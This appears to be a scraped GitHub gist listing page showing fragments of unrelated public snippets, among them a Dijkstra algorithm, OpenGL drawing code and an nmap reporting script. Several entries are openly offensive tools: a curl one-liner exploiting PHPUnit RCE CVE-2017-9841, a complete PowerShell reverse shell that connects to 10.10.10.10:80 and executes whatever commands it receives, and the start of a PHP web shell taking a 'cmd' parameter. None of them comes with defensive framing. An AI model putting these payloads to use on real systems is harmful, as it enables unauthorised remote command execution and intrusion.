Skip to content

Instantly share code, notes, and snippets.

View debiantano's full-sized avatar
🏠

NULL debiantano

🏠
View GitHub Profile
#!/bin/sh
#
# nmap2md.sh · create a simple nmap report on markdown on the fly
#
# By http://github.com/fer
#
# Usage:
#
# 1. Check alive Hosts, grab IP addresses and run scanner:
#
@yassineaboukir
yassineaboukir / gist:1501de6f60dce148824d3001e83fb263
Created September 10, 2020 11:17
PHPunit RCE PoC (CVE-2017-9841)
$ curl --data "<?php echo(pi());" http://localhost:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Source: http://web.archive.org/web/20170701212357/http://phpunit.vulnbusters.com/
@nateshmbhat
nateshmbhat / dijkstra_algorithm.cpp
Created April 28, 2020 04:41
Dijkstra Algorithm for finding shortest path to all vertices from a single source.
#include<bits/stdc++.h>
using namespace std ;
int cost[100][100] , n ;
int getMin(int dist[] , bool visited[]){
int key = 0 ;
int min = INT_MAX ;
for(int i=0;i < n ; i++){
if(!visited[i] && dist[i]<min){
@egre55
egre55 / powershell_reverse_shell.ps1
Last active April 25, 2024 07:51
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
/* Tipo =FILE= */
/* En C se emplea la estructura de datos de tipo =FILE= (declarada en =stdio.h=): */
#include <stdio.h>
void main ()
{
FILE *pf;
}
#include <cmath>
#include <iostream>
#include <GL/glut.h>
using namespace std;
GLint n; //2n is number of petals on the rose
void init(){
glClearColor (1.0, 1.0, 1.0, 1.0); //set the background color to white
glColor3f (0.0, 0.0, 0.0); //set the foreground color to black
glMatrixMode (GL_PROJECTION);
glLoadIdentity();